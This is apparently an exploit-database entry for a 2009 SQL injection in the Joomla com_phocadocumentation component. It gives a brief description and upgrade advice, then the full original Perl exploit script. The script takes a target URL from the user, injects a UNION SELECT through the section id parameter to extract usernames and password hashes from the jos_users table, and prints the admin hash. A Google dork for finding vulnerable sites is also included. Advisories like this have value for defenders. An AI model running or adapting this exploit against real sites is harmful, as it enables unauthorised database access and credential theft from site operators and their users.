Joomla com_phocadocumentation Sql injection

vendor:

com_phocadocumentation

by:

EcHoLL

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_phocadocumentation

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla com_phocadocumentation Sql injection

A vulnerability exists in Joomla's com_phocadocumentation module which allows an attacker to inject arbitrary SQL commands. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can result in the compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Mitigation:

Upgrade to the latest version of Joomla and com_phocadocumentation module.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w


#Joomla com_phocadocumentation Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous

#[!] Module_Name: com_phocadocumentation
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_phocadocumentation"
########################################


system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_phocadocumentation(section&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);

$column_name="concat(username,0x3a,password)";
$table_name="jos_users";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target . "/index.php?option=com_phocadocumentation&view=section&id=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-05]